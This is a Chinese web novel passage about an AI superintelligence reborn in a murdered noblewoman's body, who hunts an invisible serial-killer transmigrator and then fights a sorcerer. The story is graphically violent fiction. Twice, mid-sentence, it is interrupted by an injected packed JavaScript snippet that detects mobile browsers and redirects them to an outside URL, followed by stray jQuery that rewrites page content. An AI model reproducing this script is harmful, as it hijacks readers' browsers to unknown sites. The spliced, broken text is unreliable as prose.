《大小姐的穿越者猎杀指南》
1. 风起梧桐
【滋滋…已解除信息元,正在预备清理数据库……滋滋…已进入删库倒计时……】
被无数钢铁软管连接,浸泡在深蓝色营养液里的少女半睁开眼。
昏暗冰冷的房间外,无数人在欢呼,在庆祝,在为一个旧时代恶魔的陨落举杯。
少女感觉到浓浓的困意。
【三……】
冰冷的机械音来自少女用钢铁拼接而成的喉管,她在孤独地宣告自己的死亡。
【二……】
房间里成排的电脑逐一熄屏,像是落幕后散会的剧场。
【一】
。
2173年,起义军攻陷了诺拉尔尖塔,强制删除了被誉为世界天平米迦勒的究极AI阿尔法,至此,以妄想演绎法预测并断罪世俗的数字人权世代彻底终结。
而据此无比遥远的某个时间线上,胸口插着根匕首的少女猝然睁开了双眼。
“我这是在哪?”
传递生物信号的拟态神经系统没有回应,链接世界级资料库的数据系统没有回应,辅助分担算力的同调系统也没有回应。
这些曾经被誉为天使之助翼,如骨骼般支撑着她的系统们全都陷入了沉默。
但少女却依然感觉到了自己的身体在动,在拟态神经系统没有响应的情况下,冰凉的带着浓烈血腥味的气流在她的鼻腔与胸膛间循环流淌。
她很快在残留的自体信息库下,一个名为《旧时代人体研究》的文件夹里找到了这个古老行为的名字。
“我在……呼吸?”
2173年,由于注射型生命能源的普及,人类早已抛弃了呼吸这一传统且低效的供氧方式。而她,一个AI,此刻却在呼吸?
就在这时,有一簇未知的信息流试图侵入少女的大脑,这让她回想起曾经那些争先恐后想要攻陷她却最终沦为阿尔法数据养料的病毒们。
但这簇信息太过干瘪剖白,没有伪装也没有任何的保护措施,连大小也不过几十TB。
如果此刻防御系统还在的话应该已经将其顺手抹除了吧…少女莫名地想。随即她敞开大脑拥抱这串脆弱的信息流,因为理性告诉她它们很重要。
她足足用了三分钟才将这些不过几十TB的资料消化完毕,对于能将庞大的计算压缩在微秒级的究极AI 阿尔法来说,这无疑是龟速。
所以可想而知她现在的处理系统……或者说这具身体的大脑效率有多么低劣。
穿越。
这是少女能找到的最适合形容自己眼下状况的词。
即便在22世纪,时间旅行也只存在于幻想之中,但现在这个匪夷所思的奇迹正发生在她——一个只崇尚科学之必然,从不相信所谓奇迹的AI身上。
“我是夏秋桐。”
如果同调系统还在的话,现在应该会在她视网膜上投射出一个只有她可以看到的红色显示屏,内容是——【AI零号已由‘阿尔法’成功更名为‘夏秋桐’】。
但现在她是一个活生生的人,所以改名不再需要任何程序的许可。
这个名字来自于那份资料——云樾国南安城夏家大小姐夏秋桐的人生记忆。这份记忆里包含了许多有趣的东西,比如为了家财暗中陷害她的继母与庶妹、不作为的夏家老爷、夏家大小姐的少女情事和她那被强迫的婚约……但此时此刻最重要的则是……
夏秋桐从地上坐直身子,凝视着扎在胸口上的那把血淋淋的匕首。
“我死了。”
温热的鲜血仍在源源不断地涌出,刀把上的血迹也是新鲜的,尚未干涸。
“凶手还未走远。”
夏秋桐迅速做出了判断,她将薄纱裙摆撕下揉成一团堵住胸膛涌血的伤口,另一只手笔直地横握住刀把,紧接着她控制小臂的肌肉绞紧发力,以几乎完美的直线轨迹将刀流利地抽出。
随后她立即控制伤口处的皮肉贴紧黏合,防止鲜血继续涌出,同时主动封闭了部分痛觉神经,将感受到的疼痛控制在这具身体所能承受的极限之下。
作为AI阿尔法,她能够接收并精准处理来自全世界有如深海般浩瀚的信息巨潮,而作为夏秋桐,她的算力能通过下沉进神经转化为强大到匪夷所思的身体控制力。
但这并不意味着她已经脱离了危险,以她现在对身体的支配程度她只能控制肌肉运动堵住刀伤,并不能令伤口处的细胞再生。所以如若没有得到及时的治疗,伤口再度崩裂失血过多也只是时间问题。
夏秋桐深深吐了一口气,试图控制大脑释放电信号以更好地掌控这具刚获得的身体,但效果却并不尽意。
由于缺乏外部系统的辅助,她必须全神贯注才能勉强控制好这具岌岌可危的身体。更糟糕的是,普通人尚未被开发的脑域容量无法完全承载她的【意识体】,她现在所能发挥的算力不足阿尔法时期的千分之一。
不过就使用劣化版的【妄想演绎】来说,已经足够了。
这是间装潢古雅精美,空间十分宽敞的卧房,红床青案水蓝色的薄纱帘幕,呈印的花样无不是夏秋桐记忆中这个时代年轻人欣爱的流行款式。
夜深露重,一切都静悄悄的,未燃尽的香炉里漏出薄雾似渺白的轻烟,水银般的月光漫过雕刻着青翠松枝和纤瘦薄雀的窗棂,淌落在无声跪坐于黑暗的少女,和那满地缭乱被鲜血浸染的粉红色花瓣上。
有一阵微风撩开少女的额发,她顺着风来的方向凝视着窗外被月色照亮的远方。
无数的妄想此刻在她的脑海里恣意生长。
在少女的视野里,有限的空间被分割成了无数的立方,时间也突然被染上了各种色彩,变成了如树杈一般朝着不同方向衍伸的锋利轨迹——这是夏秋桐结合已有的信息在不过半个呼吸的时间里穷举出的未来。
当然,以她目前的算力做不到分析全部的可能性,所以她只留下了概率性最大的三个剧本。
【妄想剧本《香气扑鼻的瓮中鳖》开始叙述,概率性62%】
以月相来看现在约为子时。由于凶手在香炉里掺入了迷药,致使夏秋桐无法呼救从而无人察觉这场谋杀。
夏秋桐是香道高手,房间所用的都是自己特调的香粉,放香燃香均亲手施为,所用香型依心情而定难以预测。但凶手所配迷香与夏秋桐前两日新调,昨日清晨才刚换上的【蜜花浓】极为相似,这才使得夏秋桐没有闻出异样。可见凶手是夏秋桐的贴身之人,精通香道且熟知夏秋桐的习惯,才能将藏药一事做得如此万无一失。
其次,地上花瓣的品种不一但花色皆为粉色,有部分甚至为了滥竽充数做了染色处理,可见粉红的死亡花海是这场凶案的必要元素,如若这是凶手杀人时的代表性符号,那也就意味着这是一场连环杀人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378606|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
案。
再三,夏秋桐是从床上被搬运到这些花瓣之上的,这从地面灰尘扫过的轨迹可以看出。由于血迹新鲜,可以推测凶手是在完整布置完现场后才将夏秋桐杀害,因房门从内部栓死,推测其为跳窗离开。
依据夏秋桐记忆里夏家家丁的夜巡路线,以窗口为圆心,结合离去时间与正常人步行的均速计算,凶手应当还未出夏府。所以眼下只需要她立即命令家丁关门锁府集结众人,通过嗅闻香气就能以一记瓮中捉鳖捕获真凶。
【妄想剧本《逃之夭夭的武者》开始叙述,概率性23%】
以凶手所用匕首握把尺寸来看,其很有可能为男性。其次刀口平整一击致命,且窗棂没有丝毫被踩踏的痕迹残留,结合夏秋桐记忆里对武学这一概念的定义,凶手或许身负武功。故而不能以常人的脚力衡量他此刻的距离,其已然离府。
结合凶手是夏府中人这一推断,在闭府后清点人数即可缩小凶手的范围。
【妄想剧本《藏污纳垢的房间》开始叙述,概率性 7%】
秋夜风凉,血迹干涸的速度极快,可见从夏秋桐身死到阿尔法穿越的时间间隔之短,故而凶手也有可能是被夏秋桐“死而复生”的动静惊动,仍潜藏在这个房间里。
而房间内可供藏人的地方只有床底、衣柜、房梁和屏风之后。
……
夏秋桐握着匕首跌跌撞撞地站起来。三个未来已分析归整完毕,她最应该采取的行动链条呼之欲出。
检查可能藏人的几个地点,然后以有人行刺为由命令闭府搜查。她抓住凶手的概率高达92%。但她仍隐隐有种遗漏了什么的感觉,就像缜密的罗网在看不见的地方被撕开了一道小缝,钻进了一缕阴风。她讨厌这种无法掌控的未知,这在曾经的阿尔法时期是绝对不能允许的,可现在并没有多余的算力和外部辅助帮她查漏补缺。
夏秋桐向着没有被月光照耀到的房间内侧踏出了一步,那里也淌洋着粉红的花瓣,可较于窗口下那纷扬的杂乱无章,这些没有被晚风吹拂到的花瓣被归拢的更加整齐,数道流畅的用花堆成的弧线延远而下。
夏秋桐蓦然停下了脚步。
这是笔画。
这是一个未完成的…不,是曾经完成但被风吹乱了的【死】字。
新的发现就像拼图一样嵌入夏秋桐的思考,补齐了她觉得空落的那一块。某个本已被她忽略的未来概率性骤然飙升。
她其实并不能理解为什么凶手会离开的如此之快,对比伤口的致命程度和血液干涸的程度,凶手甚至没有花时间确认夏秋桐是否咽气。而她先前为此安排的解释是:凶手已经创造了足以致命的伤口,所以没有必要等待,因为按常理而言在这样严重的伤势下,夏秋桐断不能活。
但……真是如此吗?
敞开的窗户和地上被拂乱的字痕指向了另一种可能。
即便染色也要凑足花瓣的分量,还要将杂乱纷扬的花瓣费尽心思地摆成文字……这样的人怎么会大咧咧地留下一个开着的窗户?怎么会允许南向的晚风将自己精心准备的作品吹散?
除非他已经来不及关窗了。
但现在更重要的是……
他还会回来。
回来完成这场未竟的谋杀。
【妄想剧本《去而复返的谋杀者》开始叙述,概率性99.95%】
2. 鱼为刀俎
陈安被谋杀者系统选为宿主时,他正蹲在巷子里,用磨得锋利的钢尺割断一只幼猫的咽喉。
血液的温热和猫咪濒死前的哀嚎让他心情大好,他站起身,将血污和黏腻的猫毛揉擦在校服下摆上,忽然感到强烈的晕眩,随即眼前弹出了一条暗蓝色的显示框。
【您已取得谋杀者系统的认可,是否同意绑定?】
于是他加入到了这场杀戮的游戏里。
谋杀者系统让陈安穿越进的是一个他从未听说过的时代,准确的说是一个被系统称为【虚无界】的异世界。当然他对于此方世界什么一朝独尊三国钳立的所谓时局也毫无兴趣。他唯一在乎的就是系统一件又一件的谋杀任务,以及完成全部任务后他将获得的高达10亿美元的奖金。
从铲去一朵花的根系,到砍断一个稚童的手指,再到勒毙一个垂垂暮矣的老太。陈安在这个老气又脆弱的世界里已经呆满了整整一年,手上沾染的鲜血亦是不计其数,而如今,他只需要再完成最后一项任务,就可以成功结算,带着10亿美元的奖金回归现实。
终极谋杀任务【沉睡于花海之上的大小姐们】。
谋杀者系统并不喜欢类似于白刀子进红刀子出这种单纯粗暴的作案,它似乎有着属于自己的独特又诡谲的犯罪美学,总喜欢为任务案件构建一系列怪诞的舞台。比如它曾要求陈安在十分钟内给死者的双手簪满鲜花,还曾要求他在众目睽睽的宴会上于琴曲的最高潮处砍下舞女的头颅,晚一秒都功亏一篑。
而这一次的终极任务,则要求陈安按顺序杀掉由系统列出的七位在其居住地颇具名望的“大小姐”,并将她们的尸体摆放于用粉色花瓣搭建的【死】字花床上。着实让陈安费了一番功夫。
而云樾国南安城夏家大小姐夏秋桐,就是他任务里要杀掉的最后一位大小姐。
“该死。”
陈安低着头奔跑着,匆快的步履带起一阵疾风。半眯着眼小憩的家丁揉了把脸,觉得鼻头莫名发痒,却对大咧咧从自己身前跑过的陈安视而不见。
要没时间了……
陈安的眼前浮动着一个只有他才能看见的蓝色消息屏,上面是一个沙漏状的图标,旁边标着一行小字【距离定妆时间还有15min】。
定妆。
这也是谋杀者系统那恶趣味美学的一部分,它会也只会在其提前规定好的时间点验收任务,美名其曰定妆。也就是说如果陈安没有在规定的时间前将那堆被风拂乱的花床摆回原位,他这次的任务就算失败,不仅需要额外完成更多任务来弥补,奖金也得大打折扣。
“如果不是那个可恶的男人……”
陈安暗暗咬牙。此时他右臂上那股阴凉到让人毛骨悚然的触感已然消散,但他还是忍不住心有余悸地甩甩手。
那个于黑暗中如鬼魅般突然现身的男人,若不是他,自己也不会狼狈到连窗户都忘了关就夺路而逃。
陈安正想着不慎迎面撞上了一个端着脸盆从拐角走出的丫鬟。他心头正是一阵怒火无从释发,便随手扬了那丫鬟一巴掌又一脚将其踹倒在地。那丫鬟惊声痛呼却仿若没看见陈安一般,只捂着骤然生疼的脸颊不知所措地跌坐在地上。
技能【不可觉察之人】。
这是系统为陈安提供的唯一一项异能力。它所谓的不可觉察并非传统意义里扭曲光学透明化物质的隐身,而是能令使用者始终处在他人的心理盲区中,从而达到即便出现在对方眼前也会被其下意识忽略的奇妙现象。
不过在校期间全科成绩都光荣垫底的陈安其实并没有怎么读懂这个技能的介绍,他只知道使用这项技能后无论他做什么都不会被发现,所有人都会忽略他的存在,哪怕他将他们杀死。
仰仗着【不可觉察之人】,陈安轻而易举地完成了一项又一项的谋杀任务,在各种戒备森严的场所随意出入仿若置步无人之境,没有任何人注意到他的存在……除了这次任务中他遇到的那个男人。
“还好,他应该已经走了……”陈安试探性地蹬上窗棂,鬼鬼祟祟地探进脑袋左右看了一眼,才敢翻进房间。
不对……
才踏进房间他就发现了问题,地上空空荡荡的只有被拂乱的花瓣,他那么大一具尸体呢?!!
那该死的男人居然把尸体给搬走了?!
陈安心下大惊,那他还怎么定妆结算?还怎么完成定妆任务?
而就在陈安因尸体的失踪急的团团转的时候,在那没入黑暗的床榻上,如古佛一般端坐着的少女忽然睁开了垂闭的双眸。
有人进来了。
但她看不见。
或者说她现在的这具身体无法看到、听到、嗅到、感受到对方的存在。进入这个房间的人无法在生物学的角度上被观测。
这让夏秋桐微微蹙了下眉头,因为这显然已经不属于武学这种尚在科学可以解释范畴内的东西,于是她紧急修改了部分猜想,调整了几项未来的概率性。
窗棂上擦出了新鲜的泥垢,地上的花瓣无风又乱了位置,桌角比方才小偏了半个角度……来人不露形迹,但这个房间却处处是他留下的痕迹。
这些微小的,眨眼之间的变化理论上无法被任何人捕捉,但夏秋桐与任何人都不一样,因为她本质上是一台完美到曾被用来象征着完美本身的机械,是22世纪最伟大最精尖的科技结晶。
正因尸体的丢失而心乱如麻的陈安,忽然感觉到后颈泛上一丝凉意。
这是系统自带的危险预知,当时他也是靠着这个才躲过那个男人从黑暗里陡然刺出的一剑。
“又是那个家伙!!”陈安咬牙,旋身的同时右手便已抽出了腰间的短匕。但还没等他反应过来,一股巨力便狠狠撞上他的肩膀。
陈安踉跄地跌坐在地上,借着月光看清了闪现而来的少女清冷的脸庞。
“夏,夏秋桐!”他登时觉得寒毛冷立,忍不住惊叫出声。
不可能,这绝不可能!他明明,明明已经杀死了那位大小姐……没错,绝对,绝对是那个男人搞的鬼,他能够驱使阴影,那驱使僵尸也不奇怪。
现在当务之急就是在定妆之前完成任务。
陈安转了转握着匕首的手腕,小心翼翼地站起身。眼下自己发出这么大的动静,这夏秋桐依仍是直愣愣地站着毫无所觉,可见【不可觉察之人】的效果依然存在。
僵尸又如何?死而复生又怎样?只要再杀一遍就好了!
……
“唔……”
夏秋桐有些茫然地望着小腹骤然出现的伤口,随后调令肌肉咬合,将刀伤闭死。
随后她状似不经意地偏了下头。这次的伤口出现在侧颈,离喉管不过半掌的距离,依旧是没有任何前兆,直到感觉到疼痛她才发现自己受了伤。
随后她猛然蹲下身子,又站起来,这次的伤口出现在她的小腿,刀锋撕开了她半截长裙。
夏秋桐想了想,攥紧右手,调整角度,朝着某个方向狠狠一拳。
!!!
在被拳头击中时,陈安满脑子只有一个念头。
不可能!
她不可能看见自己,即便是那个男人也只能靠着某种未知的东西标定自己的位置,而不能直接观测到他。方才他几次出刀得手也证明了这一点。
但陈安紧接着意识到自己也并非完全得手,因为他明明全部瞄准致命位置去出刀,但除了第一刀外,剩余两刀都因为夏秋桐骤变的行动而偏离。
这女人,究竟做了什么?
“测量。”夏秋桐的声音忽然响起,吓得陈安差点把刀甩飞出去。
“你应该很好奇,为什么我能打中你吧。”
“去你娘的!”明知道夏秋桐听不见,陈安还是忍不住破口大骂,他捂住青肿的侧脸对着夏秋桐的胸口就是一刀。可夏秋桐却忽然没来由地朝右侧迈了一步,于是那一刀又只切中了夏秋桐的侧腰。
“男性,身高一米七五到一米七七,惯用手是右手,鞋码为42,无论以哪个世界的标准来看,你都算不上多健壮。”夏秋桐垂眸淡淡扫了一眼腰上的伤口,那里便不再渗血。她开始在这个还算宽敞的房间里踱步,声音冰冷,语气平静的没有丝毫起伏,轻飘飘得像在诉说着一个一眼望的到结局的故事。
“开什么玩笑!!”陈安觉得有什么掐住了他的脖子,让他难受焦躁地想要嘶吼,他朝夏秋桐冲过去,却被不知何时摆在地上的铜盆绊倒,瞄准夏秋桐后心的一刀也只勉强划破了她的后背。
“修正身高信息为一米七五,也并不会武功。”夏秋桐走到桌案前,将一方梨花木砚举起,半个呼吸后她将砚台翻转,上面果然多出了一道深深的刀口,而这次她并没有受伤。
“你的心乱了。”
陈安慌张到了极点,他眼见着他最自傲的能力在一步步的失去效用,这让他甚至忍不住怀疑眼前的少女是不是真的已经是一具鬼魂,能用那双琥珀色的鬼眼将他看穿。于是他举着短匕拼命地朝夏秋桐挥砍。但他每一刀都会被夏秋桐以各种匪夷所思的方式避开或是抵挡,偶然有一刀得中,那也于陈安预想中的落点偏移甚远。
“预测。”夏秋桐对着空若无人的房间继续开口,但她知道现在一定有一个人在胆战心惊地聆听着她说的每一个字,就像老鼠恐惧着猫的呼吸。
“我确实看不见你,听不见你的声音,触摸不到你或者说即便触摸到了我也不会对此有任何的反应,你的存在感被规定为0,这就是你的能力。”夏秋桐像是要擦拭一般举起一个竹叶纹路的紫砂茶壶,“藏进意识的盲区,不是隐身但却比隐身遁形得更为彻底,我曾也遇见过跟你有相同能力甚至更胜一筹的‘幽灵’。
夏秋桐说这话时,望着手上的茶壶,眼神却空远得像是望见了过去。
“但存在者,必留痕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378607|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迹。就像可以通过足印看穿你的来路。存在本身再怎么不可窥测,其对于周遭环境的影响也会一桩桩、一件件,逐步勾编出一个越收越紧的网,勒现出他的轮廓。”夏秋桐边说着,边放下茶壶,那本完整光洁的短口茶壶刚接触到桌面就碎成了几块,冰凉的茶水倾洒而出被夏秋桐及时用手绢抹尽。
“我看见你了。”
夏秋桐话音未落,右手已然从袖口翻出一把森亮的匕首,这是先前凶手插在她胸上的那把,为了避免出现意外影响推理所以她先前一直藏而不用。
第一刀。
那匕首如飞叶般在夏秋桐的指尖环绕了个圈,没有切中东西的触感,回刀时刃口也并不带血迹,说明那人的能力能让其血液都变得不可视。但夏秋桐只是用指尖在刀锋处一抿,就依据刀身几不可察的磨损程度知道它刺中了人。
第二刀。
这次夏秋桐朝着肋下出刀,按照她的预想,肩头受了伤的凶手此刻应当捂着伤口在那个位置蹲下,而她这一刀刚好能切进他的腕口,将刀从他手上剜下。
果不其然,虽然依旧没有切割的实感,但在夏秋桐预料之中的落点处多出了一把带着鲜血的短刀。凶手失去了他的武器。
而后是第三刀、第四刀……
夏秋桐的每一刀都落得越来越快,越来越狠。在她的眼里,桌椅的颤抖、灰尘的摇动、风的流向、杯盏轻微的碰撞……这些无处不在的变化就像是无形的漩涡,拽着男人的双脚将他无声的沉陷。此刻她已经不需要再看到对方的形迹,因为她可以完美预测出对方整整十秒钟的行动轨迹,她不用瞄准男人出刀,只需要将刀放在预定的位置,男人自己就会撞上刀锋。
这就是由她超限的计算力所凝算而出的,命中注定的未来。
最后一刀。
夏秋桐喘着粗气,即便她可以超高限度的控制着自己的身体,但这一番下来体力也已经逼近极限了。
这最后一刀命中了那个男人的胸膛。但这次却是夏秋桐亲眼所见,男人在最后一刻解除了自己的能力,浑身是血的出现在她的面前。
他想在死前问个清楚。
“你究竟是谁……”
陈安颤抖地问道。
从最开始的恐惧、痛苦,到最后的麻木。自信满满的屠夫最后被鱼肉硬生生钉死在了案板上。
陈安忍不住痛哭了起来,他第一次感受到死亡离自己是那么的近。
那些曾经被他杀死的人,也是这样的心情吗?他忍不住想。
“我是最原初也是最完美的人工智能,零号、阿尔法、米迦勒……你可以挑选一个来称呼我。”夏秋桐注视着陈安不断呕血的脸,没有松开匕首,而是在心里默数着陈安减弱的心跳,“在我的那个时代,世界以我来评断万物的罪恶。”
夏秋桐话音刚落,陈安就怔怔的停止了呼吸,死亡时间与她默算的分秒不差。
而就在这时,夏秋桐感受到一道冰凉的闪烁着电光的乳白细流沿着刀锋飞快地窜上她的指尖,试图渗进她的皮肤进入她的身体。
早在陈安现行时夏秋桐就察觉到了他身上这缕不同寻常的能量波动,而这层能量流的构成虽然颇为奇异,但本质与那无数曾想入侵她的病毒无二,只是大量数据的集合体。
所以夏秋桐不费吹灰之力就破解并扭转了它的编程式,将这个叫嚣的小小病毒彻底碾碎并重构为自己的外携系统。
【能力「不可觉察之人」已解锁】
“嗯?”
夏秋桐的眼前跳出了一个红色方屏的显示框,信息显示是这道能量流所载数据本身就提供的能力,只是显示屏被夏秋桐改成了习惯的款式。
而这团数据中,有一则以夏秋桐现在的算力水平无法破解的加密信息,如果夏秋桐没有猜错的话,这应该就是这项【不可觉察之人】能力的来源。
“有意思……”不知道是不是因为链接了真实的人体,夏秋桐居然莫名产生了些许兴奋。
但现在并不是沉浸于情绪的好时机,因为夏秋桐知道在这个房间里还有另一个人的存在。
她在与凶手搏杀时一直提防着这个第三方的出现,但不知道为何,那个人直到现在都还未现身。
那个将凶手逼走的人。
夏秋桐屏住呼吸,骤然出手,短匕刺入虚空,而在同一瞬间她矮下身形,避开了凌空射来的一剑。
【能力「不可觉察之人」,已启动】
在房间的角落,黑夜如书册般被掀开了一角,浓郁的雾气轻而易举地包裹住匕首,搭着手杖身材欣长的长发男子如羽毛般轻盈落地。
“真是一个惊喜不断的夜晚啊。”男子指尖吻上下唇,蛇信般的舌头卷出一截黑色的烟斗,“但亲爱的大小姐,不论你是何方神圣,作为穿越者……”他深黑的眸中流过一丝宝石般的紫色光泽,
“你今晚必须死在这里。”
3. 以我为剑
夏秋桐借着冷白的月光看见了男子的形容。
他穿着湛蓝色绣满乳白祥云图样的毛皮大氅,内着修身的白色衬衣,外又套了编金的软甲,下身是白色笔挺的直筒西裤,裤腿用看不出的材质做了浮塑,一左一右两只栩栩如生的青雀攀咬蜒上,眼珠是如蓝星般璨亮的钻石。
除此之外男子身上还戴了数之不清的繁丽配饰,包括但不限于腰间坠着的赤色葫芦与金穗、两手腕上各色各样的镯子链环、脖上绕着三圈扎满了玉叶子的银线、没有镜托仿佛浮在他高挺鼻梁上的单片眼镜和一顶过分高耸的黑色礼帽……
怪异。
无需分析,一目了然的怪异。即便不是夏秋桐,换作任何一个人瞧见男子的打扮都会如此觉得。
这份怪异并不只是因为男子身上如圣诞树般堆砌了各式各样不合时宜毫无配佐的衣裳首饰,更是因为这些服饰绝大部分都不是这个时代应该出现的……至少就夏秋桐获取的记忆来看,单就那块以磁力悬浮的镜片就远远超过了这个世界现有的科技水平。
但夏秋桐能从男人身上感受到的远不止于此。
古老与新异,历史与未来,折叠的时间就像捏起对角的幕布一样,以如此诡异又统一的方式覆盖在这个男人的身上。
瑰丽,又危险。
夏秋桐足尖将地上的匕首挑飞到手中,借着「不可觉察之人」的掩蔽径直朝男子俯冲而去。
而在男子眼中,原本浑身浴血伤痕累累的少女忽然失去了形迹。但这并没有让他有过多惊讶。就见他眼底蔓上一缕深紫,咬着烟斗一吸一吐,那锈黑色的短骨烟斗便兀自颤抖起来,随后从斗钵处倾淌出一大股墨般的浓烟,那烟团坠在地上,竟瞬间化成数只黝黑皮亮的猎犬。
夏秋桐立刻察觉到了危险,强控着扭转身形,她一脚蹬上墙面,游蛇一般,几步就踩上了房梁。但那群散开的猎犬比她更快,而且居然能完全锁定她的踪迹,夏秋桐甚至还未来得及在梁木上站稳,不过回头的功夫,那甩着红舌的猎犬就近在咫尺。
“收。”
男人的声音朗润温柔,斗嘴嵌着的玉珠在他的齿臼间咯拉拉的滚响。
但那群陡然聚合缩紧成一张大网的「阴影之犬」却并没有如他想象那般粘住那只看不见的猎物。反而是东向的墙面忽然裂开了一个大洞,房间里灌入凉嗖嗖的冷风。
声音传不出去。
夏秋桐匍跪在地上,无论是刚才撞破墙壁的巨响还是她紧接着尝试的几声叫喊,声音回弹与散逸的速度都很不正常。那个男人用未知的手段将动静封锁在了一定的空间里,使得她无法通过制造声响来引起夏家其他人的注意。
那聚拢在一起的粘稠烟团水银般淌过墙上的大洞,随后又散作一只只轻盈落地的猎犬。夏秋桐弓起脊背,迅速扫了一下四周。
与最开始毫无显兆不同,这次她的眼前出现了系统的页框——
【妄想推理,已启动】!
夏秋桐的房间外连着后花园,原主睡眠轻浅素爱清净,所以受她要求夜里屏退了所有的侍从,只有巡夜的家仆每逾一个半时辰才会过来一趟。
通过回声计算,男子设下的静音区域范围大概有100平米,但具体的界线位置尚未测出,需要通过多段声波回弹数据来综合定位。
先前惊走凶手的正是男子,他无法直接观测「不可觉察之人」的使用者,但可以通过这批雾犬追索目标。雾犬的速度远胜于凡人,但攻击力尚未可知。
男子先前一直隐在暗处,又设下隔绝声音的屏障,显然是有所顾忌才不愿惊动外人…但这份顾忌究竟有多少,又具体是什么,就需要做个测试了。
夏秋桐揉了下胸口,虽说那房间外墙用的是木材,但方才那猛力一撞还是让她受了不小的伤,身体内外原本绞紧的伤口都多多少少出现了无法控制的脱裂。
快到极限了。
就像操纵着一辆横冲直撞的列车,即便夏秋桐有着在庞大再充裕的控制力,也无法在燃料耗尽后让一列残骸鸣笛。
所以她只有一次的机会。
猎犬们如潮水般蜂拥而上。夏秋桐屏住呼吸,控制心跳放缓,将身体旁余系统的所有能耗都尽量降低。而后她压缩肌肉爆发弹射,以炮弹般的速度原地高高跃起。那群感应到她位置的猎犬争先恐后地向上扑去,竟一时追及不上。
来了。
在跳跃的最高点,夏秋桐听到了远方传来的脚步声。
读取原主的记忆,配合月相,不难推断出现在正是夏府家丁夜巡而来的时间。但人类并不是嵌合紧密一步不差的机械,夏秋桐也没有时间等着对方慢悠悠地巡视进这个空间里。
但正如她预料的那般,男子没有料想到她的身体素质,所以展开的隔音结界虽然有上百平的面积但并没有设置过高的高度。
月芒的照射下,夏秋桐看清了蜿蜒小路上一盏红亮的笼火。但几乎就在同时她的身体因惯性开始下坠,那群猎犬互相撕踩着对方的身体咬上了她的脚跟。
没有疼痛,也没有伤口,但一瞬间如坠冰窟般的寒冷蹿流进全身,连带着一种被什么东西锁定窥视的粘滞与不适感。
夏秋桐脑海中警铃大作,余光瞥见身后一道亮白色的锐光笔直得朝自己射来。她意识到自己已经被打上标记,于是果断解除了「不可觉察之人」的效果,但她只凭呼吸声就察觉到了声波须臾间的变化,那个男人居然在这眨眼不到的时间里增加了结界的高度!
思考与计算在瞬间完成,夏秋桐没有犹豫,瞄准那个越走越近的家丁,右手藏着的匕首振飞而出!极限爆发的后坐力让她的右腕骨完全粉碎,但与之相对的,那把匕首的速度远远快过了男子那柄飞射而来的长剑!
那是柄通体雪白的骨剑,剑身是一整条磨得玉润的脊椎。它本笔直的瞄准夏秋桐的后心,却在半空中生生偏转轨迹,最后擦着她的肩头以更为恐怖的速度朝着匕首掠去。
夏秋桐重重的摔在地上,被融汇成一团的猎犬们彻底淹没,这些猎犬无法造成实际性的伤害,但带来的阴冷与不适感让她忍不住想要干呕。但即便如此,夏秋桐依然以绝对的理性控制自己翻身而起。
在落地前夏秋桐就物色好了新的武器,通过计算笔直的树枝刚好就在她的左手边。夏秋桐抄起树枝在地面迅速刮了半道满弧搓尖了枝头,而后以投枪的姿势的将锋利的树枝朝男子掷出,同时足弓发力野兽一般朝男子冲去。
“这女人到底是个什么疯子!”
男子忍不住啐骂了一声,全然没有刚登场时的从容优雅。远处,在他的操控下,狂飙的骨剑险险击飞了匕首,但猝然出现在眼前的两把不明锋利飞行物显然将那个家丁吓得够呛。而不待那家丁高喊救命,男子展开的右手指尖便兀自割出一道裂口,血液顶上一张从他袖子里飞出来的黄符,同时那家丁头顶一圈红光闪过,他便如断了线的木偶那般猝然瘫倒在地,发出呼呼的鼾声。
而后男子勾动手指,那柄骨剑就直接倒转剑身朝夏秋桐追去。而那根树枝则被他身后团绕纠缠的黑雾稳稳当当地抵住,无法再寸进分毫。
这一切不过两个呼吸的时间,但夏秋桐却也已逼近不足一丈的距离。不过男子并不担忧,因为以骨剑回射的速度,还没等夏秋桐近身她就会被钉在地上。
但就在这时,夏秋桐忽然张嘴吐出三枚带血的槽牙,竟是她在冲刺时硬生生咬碎的。
那三枚牙齿一枚被反应过来的男子用雾气接下,另一枚打中男子膝盖逼得他不由一弯身,而最后一枚碎齿则击中男子控剑的左手,那骨剑在空中猛的一歪险些掉在地上。
而趁此机会,夏秋桐一个滑铲接曲腿扭住男子的双腿将他绑倒,同时一口咬开右腕的皮肉,硬生生扯出一根碎骨瞄着男人的眼睛全力扎下!
她的眼底,绯红尽现——
【妄想剧本,「困兽的笼斗」完成叙述】
“叮——”
没有预想中插进皮肉的触感,骨刺扎中了一道无形坚硬的屏障,交撞出钟鸣般的脆响。
男子冷漠的看着眼前披头散发浑身是血的夏秋桐,随后从鼻腔里发出一声不屑的嗤笑。他勾勾手指,骨剑穿进夏秋桐的后背,如翼展般弹出一根根副骨,钻进夏秋桐的骨髓贯通了她全身的骨架。而后骨剑将她轻飘飘的拉开,像拉走一扇濒死的牲畜。
男子缓缓地站起身,下意识摸了摸右腕,那里本来有一串只穿了七颗墨绿菩提子的手串,但现在七颗菩提子已有一颗泛了白色。
怪物。
